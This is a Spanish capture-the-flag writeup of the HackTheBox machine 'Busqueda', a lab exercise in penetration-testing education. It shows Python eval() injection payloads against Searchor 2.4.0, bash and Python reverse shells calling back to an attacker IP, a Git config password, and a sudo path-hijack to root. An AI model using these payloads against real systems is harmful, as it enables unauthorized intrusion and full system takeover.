Entrada

Busqueda Writeup - HackTheBox

¡Saludos!

En este writeup, nos adentraremos en la máquina Busqueda de HackTheBox, la cual tiene un nivel de dificultad fácil según la plataforma. Esta máquina Linux será el escenario donde llevaremos a cabo una enumeración web y localizaremos una página que hace uso de una biblioteca de Python llamada Searchor, la cual es vulnerable a la ejecución de código arbitrario a través del método eval(). Esta vulnerabilidad nos permitirá obtener acceso al sistema. Finalmente, escalaremos nuestros privilegios aprovechando los permisos de sudo en un script de Python que carece de una sanitización adecuada, lo que nos habilitará para ejecutar comandos de Python arbitrarios.

¡Vamos a empezar!

Reconocimiento activo


Como primer paso, lanzamos el comando ping desde nuestro equipo atacante para verificar si la máquina objetivo está activa.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.208
PING 10.10.11.208 (10.10.11.208) 56(84) bytes of data.
64 bytes from 10.10.11.208: icmp_seq=1 ttl=63 time=110 ms

--- 10.10.11.208 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 109.839/109.839/109.839/0.000 ms

Dado que el TTL es cercano a 64, podemos inferir que la máquina objetivo probablemente sea Linux.

Escaneo


A continuación, realizamos un escaneo con Nmap para identificar los puertos abiertos en el sistema objetivo.

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -p- --open -n -sS -Pn --min-rate 2000 10.10.11.208 -oG allPorts.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-21 20:44 -05
Nmap scan report for 10.10.11.208
Host is up (0.12s latency).
Not shown: 65464 closed tcp ports (reset), 69 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 29.96 seconds

Enumeración


Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap para realizar pruebas complementarias sobre los puertos y servicios identificados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p 22,80 -sV -sC --min-rate 2000 10.10.11.208 -oN services.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-21 20:45 -05
Nmap scan report for 10.10.11.208
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.90 seconds

El informe de nmap revela que se están ejecutando los servicios SSH (OpenSSH 8.9p1) y HTTP (Apache 2.4.52). Además, al intentar acceder al servicio HTTP, se redirige al dominio searcher.htb.

HTTP - 80

Agregamos el dominio searcher.htb a nuestro archivo hosts.

1
echo '10.10.11.208\tsearcher.htb' >> /etc/hosts

Accedemos a la siguiente página web, que funciona como un motor de búsqueda unificado capaz de generar URL de consulta para varios motores de búsqueda diferentes.

web

Al final de la página, se observa que se utiliza la versión 2.4.0 de la librería de Python llamada Searchor.

Al realizar una consulta en Internet, encontramos que esta versión es vulnerable a ejecución de código arbitrario (Arbitrary code execution).

vuln

Se nos proporciona un Commit de GitHub que contiene los cambios realizados para prevenir la vulnerabilidad.

commit

Explotación


Al parecer, anteriormente se utilizaba el método eval() de Python. En este post, se señala que el método eval() de Python es vulnerable a la ejecución de código arbitrario y se proporcionan algunos ejemplos que podríamos emplear para eludir las expresiones de la consulta.

eval

En nuestro caso, utilizaremos el siguiente payload.

1
'),__import__('os').system('id')#

Capturamos la solicitud con Burp Suite y la modificamos para observar su comportamiento.

En la respuesta, observamos que el comando id se ejecutó correctamente.

request

Ahora, utilizamos el siguiente payload para obtener una reverse shell.

1
'),__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.41/9001 0>&1"')#

payload

Una vez que hemos establecido la escucha en el puerto 444, presionamos “Search” y logramos obtener acceso al sistema como usuario svc.

1
2
3
4
5
6
7
8
❯ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.41] from (UNKNOWN) [10.10.11.208] 47898
bash: cannot set terminal process group (1641): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
whoami
svc

Para obtener una shell más interactiva, realizamos un Tratamiento de la TTY.

En este punto, ya tenemos acceso a la flag de usuario.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
svc@busqueda:~$ ls -al
total 44
drwxr-x--- 5 svc  svc  4096 Jun 22 02:10 .
drwxr-xr-x 3 root root 4096 Dec 22 18:56 ..
lrwxrwxrwx 1 root root    9 Feb 20 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
drwx------ 2 svc  svc  4096 Feb 28 11:37 .cache
-rw-rw-r-- 1 svc  svc    76 Apr  3 08:58 .gitconfig
drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local
lrwxrwxrwx 1 root root    9 Apr  3 08:58 .mysql_history -> /dev/null
-rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 Feb 20 14:08 .searchor-history.json -> /dev/null
drwx------ 2 svc  svc  4096 Jun 22 02:11 .ssh
-rw-r----- 1 root svc    33 Jun 22 01:43 user.txt
-rw------- 1 svc  svc   748 Jun 22 01:50 .viminfo
svc@busqueda:~$ cat user.txt 
4a7480a3b6c75f12****************

Escalación de privilegios


El código web se encuentra en /var/www/app y al listar los archivos y directorios, encontramos la carpeta .git, lo que sugiere que esta aplicación se administra a través de Git.

1
2
3
4
5
6
7
svc@busqueda:/var/www/app$ ls -al
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jun 22 01:43 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates

Al acceder a la configuración de Git, encontramos las credenciales del usuario cody.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
svc@busqueda:/var/www/app$ cd .git/
svc@busqueda:/var/www/app/.git$ ls -al
total 52
drwxr-xr-x 8 www-data www-data 4096 Jun 22 01:43 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1  2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1  2022 config
-rw-r--r-- 1 www-data www-data   73 Dec  1  2022 description
-rw-r--r-- 1 www-data www-data   21 Dec  1  2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 hooks
-rw-r--r-- 1 root     root      259 Apr  3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec  1  2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec  1  2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec  1  2022 refs
svc@busqueda:/var/www/app/.git$ cat config 
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

Con esta contraseña, podemos acceder al sistema a través de SSH con el usuario svc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
❯ ssh svc@10.10.11.208
The authenticity of host '10.10.11.208 (10.10.11.208)' can't be established.
ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.208' (ED25519) to the list of known hosts.
svc@10.10.11.208's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jun 22 02:37:17 AM UTC 2023

  System load:                      0.0
  Usage of /:                       80.4% of 8.26GB
  Memory usage:                     53%
  Swap usage:                       0%
  Processes:                        263
  Users logged in:                  1
  IPv4 address for br-c954bf22b8b2: 172.20.0.1
  IPv4 address for br-cbf2c5ce8e95: 172.19.0.1
  IPv4 address for br-fba5a3e31476: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.208
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:84d7

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Jun 22 02:28:59 2023 from 127.0.0.1
svc@busqueda:~$

Al ejecutar sudo -l, observamos que podemos ejecutar el script system-checkup.py como root.

1
2
3
4
5
6
7
svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Lo ejecutamos para identificar su modo de uso.

Podemos realizar tres acciones: docker-ps, docker-inspect y full-checkup. Al parecer, docker-ps y docker-inspect funcionan correctamente, pero docker-ps muestra en la consola el mensaje “Something went wrong”.

1
2
3
4
5
6
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Si accedemos al directorio /opt/scripts/, observamos varios scripts disponibles, entre ellos full-checkup.sh.

1
2
3
4
5
6
7
8
9
10
svc@busqueda:~$ cd /opt/scripts/
svc@busqueda:/opt/scripts$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Dec 24 18:23 .
drwxr-xr-x 4 root root 4096 Mar  1 10:46 ..
-rwx--x--x 1 root root  586 Dec 24 21:23 check-ports.py
-rwx--x--x 1 root root  857 Dec 24 21:23 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr  3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 21:23 system-checkup.py

Si ejecutamos nuevamente el script system-checkup.py desde este directorio (/opt/scripts/), parece que funciona correctamente sin mostrar el mensaje de error previo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0   │ app    │ default     │ N/A     │ fork    │ 1641     │ 61m    │ 0    │ online    │ 0%       │ 30.5mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!

Esto sugiere que la acción full-checkup hace uso del script full-checkup.sh y, anteriormente, se estaba intentando ejecutar desde el directorio actual, lo que falló porque ese archivo no existía en ese directorio. Al ejecutarlo desde el directorio /opt/scripts/, parece funcionar correctamente.

En ese caso, procedemos a acceder al directorio /tmp y creamos un script con el nombre full-checkup.sh que genere una reverse shell en Python.

1
2
3
#!/usr/bin/python3

import socket,os,pty;s=socket.socket();s.connect(("10.10.14.41",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")

Nos ponemos a la escucha en el puerto especificado y luego ejecutamos nuevamente el script system-checkup.py desde el directorio /tmp.

1
2
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[sudo] password for svc:

Hemos obtenido una shell como usuario root.

1
2
3
4
5
6
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.41] from (UNKNOWN) [10.10.11.208] 40966
root@busqueda:/tmp# whoami
whoami
root

Como último paso, accedemos a la flag de root.

1
2
3
4
5
6
7
8
root@busqueda:/tmp# cd /root
cd /root
root@busqueda:~# ls
ls
ecosystem.config.js  root.txt  scripts  snap
root@busqueda:~# cat root.txt
cat root.txt
7d048a4a1d0bf275****************

!Happy Hacking¡

Esta entrada está licenciada bajo CC BY 4.0 por el autor.